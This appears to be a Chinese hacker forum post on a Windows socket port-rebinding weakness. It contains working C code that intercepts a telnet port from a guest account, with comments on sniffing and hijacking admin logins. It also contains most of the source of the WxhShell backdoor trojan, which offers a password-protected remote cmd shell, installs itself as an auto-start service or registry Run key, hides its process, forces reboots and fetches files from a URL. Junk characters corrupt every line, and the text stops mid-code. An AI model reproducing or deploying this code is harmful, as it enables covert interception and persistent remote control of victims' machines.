在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
8l?piig# s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
`dMqe\o%! +bK.NcS saddr.sin_family = AF_INET;
oBq 49u1 q{2I_[p saddr.sin_addr.s_addr = htonl(INADDR_ANY);
}ZSQ>8a ffXyc2o bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
}u+a<:pkK 6<,dRn 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
uJR%0 E7! \?j E#^ 这意味着什么?意味着可以进行如下的攻击:
"!>DX1rsi ]u-]'P 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
I]Tsz'T!9 5 )2:stT73 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
]W0EVf=,k cWGDee( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
S|rgCh!h Dlo xrdOY& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
DcIvhB p B{oU,3U> 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
+(O~]Q-Ez SYeadsvF 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
04%S+y.6&Y >3:?) 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
kpbm4t fl
Jp4-nx #include
YJs|c\ eq? #include
IC{eE #include
y~
G.V,0 #include
Zn,>]X DWORD WINAPI ClientThread(LPVOID lpParam);
o]{uc, int main()
PN~@ {
bsxTqJ WORD wVersionRequested;
#>Y'sd5'A DWORD ret;
vhvdKD
WSADATA wsaData;
vQF
vtwd BOOL val;
G Ejd7s]C SOCKADDR_IN saddr;
V Km!Ri$ SOCKADDR_IN scaddr;
FVv8-- int err;
4$/i%B#ad SOCKET s;
.t&R>9cZ^ SOCKET sc;
q(5j(G ; int caddsize;
O=) HANDLE mt;
H$ftGwS8 DWORD tid;
[ rNXQ`/ wVersionRequested = MAKEWORD( 2, 2 );
wdzOFDA err = WSAStartup( wVersionRequested, &wsaData );
k{tMzx]F__ if ( err != 0 ) {
I9o6k?$K printf("error!WSAStartup failed!\n");
bW#@OrsS return -1;
wiOgyMdx }
Y=Z1Tdxa| saddr.sin_family = AF_INET;
*F>v]8 30PZ{c&Rll //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
1tCQpf H7+Xs% saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
(F7_S* saddr.sin_port = htons(23);
iFSJL,QZ3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
D2YZ9e
{
B:"THN^ printf("error!socket failed!\n");
DlMe5=n-u return -1;
#X:
'aj98 }
k^$+n_ val = TRUE;
J68j=`Y //SO_REUSEADDR选项就是可以实现端口重绑定的
I"AYWo? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
wn
Y$fT9 {
D7]#Xk2 printf("error!setsockopt failed!\n");
l?Y_~Wuw return -1;
^^i6|l1 }
d;Hn#2C //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
syx\gz //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
G.+l7bnZM //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
9 7%0;a8 JB</euyV if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
BY\:dx)mK {
=k}SD96 ret=GetLastError();
%CZ-r"A printf("error!bind failed!\n");
}}QT HR return -1;
G{aT2c }
Q|}aR:4 listen(s,2);
|CgnCUv+ while(1)
]U[X1W+@ {
T0Yiayt caddsize = sizeof(scaddr);
jk\ dG16 //接受连接请求
y#Ht{)C sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
\&V0vN1 if(sc!=INVALID_SOCKET)
c~A4gtB= {
~5ZvOX6L2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
=1h9rlFj"D if(mt==NULL)
jO9ip {
h9$ Fx printf("Thread Creat Failed!\n");
"SN4* break;
e]ig!G] }
GZ!|}$8 }
0,*%vG?Q CloseHandle(mt);
qP!eJ6[Nh" }
P ]N
[y closesocket(s);
=U
OLT>! WSACleanup();
<VjJAu return 0;
3>zN/f }
/)N@M DWORD WINAPI ClientThread(LPVOID lpParam)
?!w^`D0}o {
s)voII& SOCKET ss = (SOCKET)lpParam;
aI
zv SOCKET sc;
j^`X~gE unsigned char buf[4096];
F}J-gZl SOCKADDR_IN saddr;
AJt!!crs long num;
`\=Gp'&Q+ DWORD val;
r#WT`pav DWORD ret;
va/m~k|i //如果是隐藏端口应用的话,可以在此处加一些判断
HLQ"?OFlz //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
j$fAq\B saddr.sin_family = AF_INET;
v/uO&iQw5 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
->-*]-fv[L saddr.sin_port = htons(23);
`Yc_5&" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
YF#HSf7 {
F0~k1TDw printf("error!socket failed!\n");
g1(Xg. return -1;
]!1OH
|Ad }
+ww^ev% val = 100;
K*K1(_x= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5_K5?N {
Xog/O i ret = GetLastError();
Jsg
I' return -1;
8B!aO/Km }
:/YO ni1h if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
JnD{J`: {
.=9s1~] ret = GetLastError();
y$Zj?Dd# return -1;
0?7XtC P< }
t^=U*~ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
mIZwAKo {
O|kKwadC printf("error!socket connect failed!\n");
JL}\* closesocket(sc);
u#W5`sl closesocket(ss);
B UUf;Vv return -1;
TL= YQA }
NW$H"}+o while(1)
CozKyt/r7 {
P#kGX(G9! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
D| I Ec? //如果是嗅探内容的话,可以再此处进行内容分析和记录
vY6W|<s //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
,lYaA5&I num = recv(ss,buf,4096,0);
Q+|{Bs)6i1 if(num>0)
k>4qkigjc send(sc,buf,num,0);
OQ/<-+<w else if(num==0)
~+D*:7Y_ break;
E
?2O( num = recv(sc,buf,4096,0);
{mYP<NBT if(num>0)
[c K^+s)N send(ss,buf,num,0);
!}TMiCK else if(num==0)
=1/NFlt8 break;
]7sx;KFv }
6,Hqb<( closesocket(ss);
{B$2"q/~ closesocket(sc);
:@
uIxa$[ return 0 ;
Ftb%{[0}u3 }
O/AE}] Df07y<>7Q k@!r#`j3 ==========================================================
4YG/`P x
FJg 下边附上一个代码,,WXhSHELL
F
SMj T*2C_oW ==========================================================
R5Yl 1 H(+<)qH #include "stdafx.h"
l'4AF|
p e]+OO
g& #include <stdio.h>
9>m%`DG* #include <string.h>
W-2i+g) #include <windows.h>
noVa=aU^ #include <winsock2.h>
U SOKDDm #include <winsvc.h>
yFIy`9R #include <urlmon.h>
6y+b5-{' Lrz3 #pragma comment (lib, "Ws2_32.lib")
~m=EM; #pragma comment (lib, "urlmon.lib")
XaI;2fMGI tgFJZA #define MAX_USER 100 // 最大客户端连接数
$Ptk|qFe #define BUF_SOCK 200 // sock buffer
W+>wu%[L #define KEY_BUFF 255 // 输入 buffer
BW[5o3
i ,#u\l>&$ #define REBOOT 0 // 重启
i`U:gw #define SHUTDOWN 1 // 关机
_v5t<_^N sOFa!bdPW #define DEF_PORT 5000 // 监听端口
\9c$`nn ,+/zH'U} #define REG_LEN 16 // 注册表键长度
;|ub!z9GG #define SVC_LEN 80 // NT服务名长度
X'sEE U)jUq_LX // 从dll定义API
g9tu%cIkR typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Eyh|a.)- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
8m=Z|"H@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
0Vv9BL{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
*DeTqO65 54p tP // wxhshell配置信息
sLh0&R7 struct WSCFG {
Iq'O int ws_port; // 监听端口
x2wg^$F*oO char ws_passstr[REG_LEN]; // 口令
X33v:9= int ws_autoins; // 安装标记, 1=yes 0=no
N{akg90 char ws_regname[REG_LEN]; // 注册表键名
<zB*'m char ws_svcname[REG_LEN]; // 服务名
7Ur?ep char ws_svcdisp[SVC_LEN]; // 服务显示名
iv%w!3# char ws_svcdesc[SVC_LEN]; // 服务描述信息
`"y`AY/N char ws_passmsg[SVC_LEN]; // 密码输入提示信息
w8M2N]&: int ws_downexe; // 下载执行标记, 1=yes 0=no
,TC~~EWq char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
y>o>WN<q char ws_filenam[SVC_LEN]; // 下载后保存的文件名
$%qg" QEJGnl676 };
E:A!wS`" IhonnLLW // default Wxhshell configuration
H3FW52pjX struct WSCFG wscfg={DEF_PORT,
QX0Y>&$) "xuhuanlingzhe",
;_JH:}j 1,
n[k1np$7?6 "Wxhshell",
:iCM=k "Wxhshell",
XF,<i1ZlM "WxhShell Service",
d+2daKi "Wrsky Windows CmdShell Service",
m@qqVRn#) "Please Input Your Password: ",
f@z*3I; 1,
B!,yfTk] "
http://www.wrsky.com/wxhshell.exe",
is#8R:7.: "Wxhshell.exe"
vE\lp8j+ };
q(]f]Vl|0 Cw1(5 // 消息定义模块
r2eQ{u{nX char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
mBl7{w;Iv char *msg_ws_prompt="\n\r? for help\n\r#>";
=&U`9qN char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
|qUrEGjiSS char *msg_ws_ext="\n\rExit.";
mN1Ssq"B char *msg_ws_end="\n\rQuit.";
SE `l(-tL char *msg_ws_boot="\n\rReboot...";
E20&hc5 8 char *msg_ws_poff="\n\rShutdown...";
\KM|f9-b char *msg_ws_down="\n\rSave to ";
k$[{n'\@ 'F_}xMU char *msg_ws_err="\n\rErr!";
S ~|.&0"\ char *msg_ws_ok="\n\rOK!";
QlzQ]:dWC YdOUv|tZC char ExeFile[MAX_PATH];
[%8@DC' int nUser = 0;
'V!kL,
9ES HANDLE handles[MAX_USER];
xb^Mo.\[ int OsIsNt;
WcGXp$M `BT*,6a SERVICE_STATUS serviceStatus;
l1-HO SERVICE_STATUS_HANDLE hServiceStatusHandle;
qi=3L :c4kBl%gJ // 函数声明
pCt}66k} int Install(void);
#)74X%4( int Uninstall(void);
!IAKVQ int DownloadFile(char *sURL, SOCKET wsh);
9YC&&0 C@ int Boot(int flag);
ki4f*Ej void HideProc(void);
J+2R&3;_O int GetOsVer(void);
*8\(FVyG^ int Wxhshell(SOCKET wsl);
|~$7X void TalkWithClient(void *cs);
z+"0>ZN& int CmdShell(SOCKET sock);
hx!`F int StartFromService(void);
M\UWWb&%\ int StartWxhshell(LPSTR lpCmdLine);
"{F;M{h$}, 'Z[d7P VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
9*_uCPR VOID WINAPI NTServiceHandler( DWORD fdwControl );
3%IWGmye4 z\}!RBOq // 数据结构和表定义
{
/<4'B SERVICE_TABLE_ENTRY DispatchTable[] =
_T~H[&Hl {
;nk@XFJ {wscfg.ws_svcname, NTServiceMain},
|~NeB"l{ {NULL, NULL}
D@hmO]5c };
(!n-Age <xF?~7 // 自我安装
`pYE[y+ int Install(void)
U42\.V0 {
1g i}H) char svExeFile[MAX_PATH];
q<XcOc5 HKEY key;
7Po/_% strcpy(svExeFile,ExeFile);
E^syrEz Ekf2NT // 如果是win9x系统,修改注册表设为自启动
v MWC(m if(!OsIsNt) {
"k>bUe|RG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
s^PmnFR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Y'_ D<Mp RegCloseKey(key);
g{a d0.y, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`@$YlFOW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Ihef$, RegCloseKey(key);
LXxl ?D return 0;
#$u ZDQY_ }
P1QB`&8F }
-A@U0=o }
[+DNM
2A else {
GTFl}t UCF[oO>v // 如果是NT以上系统,安装为系统服务
'%Dg{ zL SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
ZOHRUm if (schSCManager!=0)
bX{PSjD {
g
=\13#F SC_HANDLE schService = CreateService
SRk7gfP*q (
r %xB8e9 schSCManager,
YPQCOG wscfg.ws_svcname,
~%G Ssm\J wscfg.ws_svcdisp,
~y%7w5%Un SERVICE_ALL_ACCESS,
Ja=N@&Z# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
3mA/Nu_ SERVICE_AUTO_START,
Ib(,P3 SERVICE_ERROR_NORMAL,
-9Xw]I#QR svExeFile,
=0Y'f](2eW NULL,
<w11nB) NULL,
~$ WQ"~z NULL,
9oD#t~+F4 NULL,
"b;k.Fx NULL
Q2R>lzB );
2 ^ kn5 if (schService!=0)
s.ey!ew {
cFxSDTR CloseServiceHandle(schService);
[r~~=b7*[ CloseServiceHandle(schSCManager);
RA~_]Hk strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Faw. GU strcat(svExeFile,wscfg.ws_svcname);
Q
}8C if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
nTQ (JDf RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
2c*2\93> RegCloseKey(key);
>,w P!;dh return 0;
Xa\]ua_ }
gU*I;s> }
&:,fb]p CloseServiceHandle(schSCManager);
4w2L?PDMi }
EkV!hqs* }
l?N`V2SuR o}W7.7^2 return 1;
L/%xbm~ }
;WPI+`- 1 pYsjo~ // 自我卸载
4t(QvIydA int Uninstall(void)
*xho {
0MhxFoFO HKEY key;
w7[0 zkvH=wL if(!OsIsNt) {
gGD]t;<u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[/n'@cjNZ RegDeleteValue(key,wscfg.ws_regname);
_c,&\ wl$ RegCloseKey(key);
uof0Oc. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
UvoG<; RegDeleteValue(key,wscfg.ws_regname);
0$(jBnE RegCloseKey(key);
4>d[qr*< return 0;
nFSG<#x\ }
5"]aZMua }
DOA[iT";4 }
!DCVoc]pV else {
LE Jlo%M /Ir 7
DZK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
7YSuB9{M if (schSCManager!=0)
]lC4+{V {
<4S F~i SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
~n)]dFy if (schService!=0)
1gO//fdI {
j=p|'` if(DeleteService(schService)!=0) {
jR}*bIzv CloseServiceHandle(schService);
_qdWQFuM CloseServiceHandle(schSCManager);
^O?l9(=/u return 0;
-1dIZy }
yzODF>KJ CloseServiceHandle(schService);
-U&098}<K }
y;*My# CloseServiceHandle(schSCManager);
AZ]Z,s6 }
C5d/)aC }
bK6, saN> an #jZ[ return 1;
:Fq2x_IUE }
ei(|5h
}qTv&Z3$ // 从指定url下载文件
k$Nx6?8E int DownloadFile(char *sURL, SOCKET wsh)
`\6 +z {
4ZSfz#<[z HRESULT hr;
K4BTk! char seps[]= "/";
i]V
F'tG char *token;
1/F<T char *file;
&4a~6 char myURL[MAX_PATH];
QLxXp char myFILE[MAX_PATH];
N2 M?5fF q
oKQEG2 strcpy(myURL,sURL);
Zz{[Al{ token=strtok(myURL,seps);
)2
while(token!=NULL)
Sf#\6X<B {
1KNkl,E file=token;
|Sy}d[VKsZ token=strtok(NULL,seps);
+<vqkc }
)@?Qt2 bUpmU/RW GetCurrentDirectory(MAX_PATH,myFILE);
f4qS OVv
strcat(myFILE, "\\");
n/,rn>k7: strcat(myFILE, file);
sf=%l10Fk# send(wsh,myFILE,strlen(myFILE),0);
.oW~:mY send(wsh,"...",3,0);
f[wjur hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
G=+!d&mbg if(hr==S_OK)
R|d^M&K, return 0;
hA$c.jJr.Z else
W`
6"!V return 1;
y81#UD9[ 6tCV{pgm }
g0[<9.ke Wl@0TUK // 系统电源模块
S S7D1 int Boot(int flag)
x|P<F 2L {
|sDG>Zq? HANDLE hToken;
T=iZ9w TOKEN_PRIVILEGES tkp;
7l4InR] |~1rKzZwF
if(OsIsNt) {
}Etd#"> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
aH~x7N6! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Z &ua,:5 tkp.PrivilegeCount = 1;
IDL^0:eg<. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
y'i:%n}I AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
bF8xQ<i~Y if(flag==REBOOT) {
NG4eEnic!a if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
QqT6P`0u return 0;
&eLQ;<qO*| }
;RTrRh0v else {
0|qx/xo|- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]-+.lR%vd9 return 0;
TWD|1
di0 }
/;]B1T7 }
JCQx8;V%I else {
>"m@qkh if(flag==REBOOT) {
pfT`W T if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
8z3I~yL_`+ return 0;
-O5(% }
A$$R_3ne else {
RLeSA\di if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
%<bG%V( return 0;
Q:Nwy(,I }
hc31+TL }
P*nT\B @pEO@bbg> return 1;
EzeDShN=J }
0YTtA]|`4 -sGWSC // win9x进程隐藏模块
{R6Zwjs void HideProc(void)
hIg, 0B {
.P0Qs&i #E~WVTOw HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
c=U$$|qHV if ( hKernel != NULL )
6#lC(ko' {
_g/TH-;^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
cVv4gQD\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
(tz_D7c$F FreeLibrary(hKernel);
}tS6Z:fOY }
WPh |~]by< m}'t'l4 c return;
UHsrZgIRYT }
o )}< ytcG6WN3 // 获取操作系统版本
el*pYI int GetOsVer(void)
W>
-E.#!_ {
7.Kjg_N#Tr OSVERSIONINFO winfo;
s5Bmv\e.i5 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
4jyr\=42F' GetVersionEx(&winfo);
wshp{ y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
E]U3O>hf return 1;
+H m+#o else
M&BM,~ return 0;
~jCpL@rS }
8BoT%kVeJv b&V]|Z( // 客户端句柄模块
&j~|3 int Wxhshell(SOCKET wsl)
.]sIoB-54 {
:\w[xqH SOCKET wsh;
7AFS)_w struct sockaddr_in client;
CFS3);'<| DWORD myID;
uJ!s%s2g G:6$P%. while(nUser<MAX_USER)
K
{1ZaEH {
>[P7Zlwv4 int nSize=sizeof(client);
ws=9u- wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
GVHfN5bTqn if(wsh==INVALID_SOCKET) return 1;
+68K[s,FD ~)_ ?:.Da handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
"!_
4%z- if(handles[nUser]==0)
94k)a8-! closesocket(wsh);
{-7yZ]OO$ else
xvz5\s|b nUser++;
;
K
6Fe) }
Z!=Pc$? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
A%czhF yU8Y{o;: return 0;
+]~w ?^h }
8UY=}R2C pQ-^T.' // 关闭 socket
LK-6z w5=( void CloseIt(SOCKET wsh)
kI[O {<kQ {
my #u^O; closesocket(wsh);
#* /W!UOu nUser--;
V]PhXVJ ExitThread(0);
R_*D7|v }
j?KB8oY`TP pNf9 // 客户端请求句柄
]ieA?:0Hi void TalkWithClient(void *cs)
f/WM}Hpj {
m+8b2H:V xS\QKnG. SOCKET wsh=(SOCKET)cs;
W<hdb!bE char pwd[SVC_LEN];
|I^Jn@Mq: char cmd[KEY_BUFF];
9xS`@ "` char chr[1];
;>8TNB e! int i,j;
+(P43XO08 (>5VS while (nUser < MAX_USER) {
yLIj4bf t~W4o8<w if(wscfg.ws_passstr) {
%oL&~6l$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
SoGLsO+R //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
f]6`GsE //ZeroMemory(pwd,KEY_BUFF);
|ukdn2Q i=0;
bz@=zLBt while(i<SVC_LEN) {
7'/2 :" WUK.>eM0 // 设置超时
=O:ek#Bp fd_set FdRead;
4Z
p5o`*g2 struct timeval TimeOut;
3%4Mq6Q` FD_ZERO(&FdRead);
D.CsnfJ FD_SET(wsh,&FdRead);
Dmv TimeOut.tv_sec=8;
$cpQ7 TimeOut.tv_usec=0;
<7-,`
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
=
Vr[V@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
TKBK3N 2yO)}g FJ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
>,]e[/p pwd
=chr[0]; \ui~n:aWJ
if(chr[0]==0xd || chr[0]==0xa) { :a!a
pwd=0; @DC2ci
>
break; it|:P
} e^Wv*OD'
i++; .O-DVW Cm
} xjk|O;ak
S^`9[$KH0
// 如果是非法用户,关闭 socket w58 QX/XG
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U)=Z&($T
} h)RM9813<
|
xI_aYv*
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }fMFQA)
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E6-(q!"A
N$a-i
while(1) { ; Kb[UZ1
Y},GZ ^zqy
ZeroMemory(cmd,KEY_BUFF); G`lhvpifG
Z q>.;>
// 自动支持客户端 telnet标准 _$_CR\$
j=0; FT<*
while(j<KEY_BUFF) { z>g& ?vo2
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ywk[VD+.
cmd[j]=chr[0]; kJpHhAn4
if(chr[0]==0xa || chr[0]==0xd) { c(g^*8Pb
cmd[j]=0; @O0vh$3t0
break; Nv]/L+i
} ]Tw6Fg1o>
j++; QN a3S*
} g
UAPjR
qa`(,iN
// 下载文件 "EkO>M/fr
if(strstr(cmd,"http://")) { > 5:e1a?9
send(wsh,msg_ws_down,strlen(msg_ws_down),0); fTtSx_}3H
if(DownloadFile(cmd,wsh)) aNU%OeQA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6}lEeMRW
else Q>g$)-8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R*G>)YH
} H0NyxG<
else { dY`J,s
Zo ReyY2
switch(cmd[0]) { PCnJ2
E1w XG
// 帮助 kV9NFo22
case '?': { /j\TmcnU^
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V+5
n|L5
break; {#Cm> @')
} w7V
W
// 安装 +NMSvu_?
case 'i': { Z'm%3
if(Install()) %--5bwZi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9TS=>
else -^Va]Lk
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Py/uF|
break; D5vtZu!"
} RtQfE+
// 卸载 emIbGkH
case 'r': { Pg C]@Q%
if(Uninstall()) G"sc;nT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m 4LM10
else RA67w&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E?o8'r
break; pra&A2Y\
} +mv%z3"j;
// 显示 wxhshell 所在路径 b#j5fEY
case 'p': { \1_&?(pU
char svExeFile[MAX_PATH]; [M>_(u6
strcpy(svExeFile,"\n\r"); [+7X&B
strcat(svExeFile,ExeFile); [kkcV5I-
send(wsh,svExeFile,strlen(svExeFile),0); ~ZN9 E-uL
break; FEswNB(]*
} y^BM*C I
// 重启 r26Wysi~%
case 'b': { _I5+o\;1
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xF+x I6
if(Boot(REBOOT)) aV,J_Q6r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .;6bMP[YA
else { .1lc'gu5y
closesocket(wsh); l6Bd<tSH
ExitThread(0); 9DKB+K.1
} >;?97'M
break; <2A'
} 7^X_tQf
// 关机 ?C\9lLX
case 'd': { B6&Mtm1
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sg\jC#
if(Boot(SHUTDOWN)) nK=V`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8#B;nyGD1I
else { H@2+wr)$}
closesocket(wsh); 1D]wW%us
ExitThread(0); DO{4n1-U
} ;r}<o?'RM
break; xc3Q7u!|
} 2 G{KpM&
// 获取shell Z`MQ+
case 's': { 'J$NW
CmdShell(wsh); cXH?'q'vZ
closesocket(wsh); v0H#\p
ExitThread(0); -3Hq 1
break; Mpx.n]O.
}
xoaQ5u
// 退出 FgaBwd^W
case 'x': { jX@9849@
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CB)#;
|aDB
CloseIt(wsh); Z^S!w;eu
break; iOxygs#p
} A'2:(m@{T
// 离开 &ayoTE^0,
case 'q': { H;E{Fnarv
send(wsh,msg_ws_end,strlen(msg_ws_end),0); fsu"Lc
closesocket(wsh); 5~QB.m,>
WSACleanup(); RL9P:]
^
exit(1); U"Oq85vY
break; :wm^04<i
} 0T;WN$W|
} &Y$rVBgQ
} H\vO0 <X
5H2|:GzUc
// 提示信息
)G&OX
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); } q(0uzaG
} =QRZ(2Wq
} ZS]e}]Zwp
,55`s#;
return; !2}Q9a
} ,;y^|X
Mt>DAk
// shell模块句柄 o}z}79Z
int CmdShell(SOCKET sock) U>XGJQ<NS
{ $4pW#4/4
STARTUPINFO si; L_|Y_=r."
ZeroMemory(&si,sizeof(si)); +/tD$
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GS%Dn^l
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I'wAgf6W
PROCESS_INFORMATION ProcessInfo; eF@E|kK
char cmdline[]="cmd"; fCR;Fk2B
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &D#v0!e~x
return 0; `x{gF8GV
} :1Cc~+]w(u
OMU#Sx!6
// 自身启动模式 lLv0lf
int StartFromService(void) {[+gM?
{ LtBH4A
typedef struct Ql
1# l:Q
{ EC0auB7G
DWORD ExitStatus; r{_'2Z_i
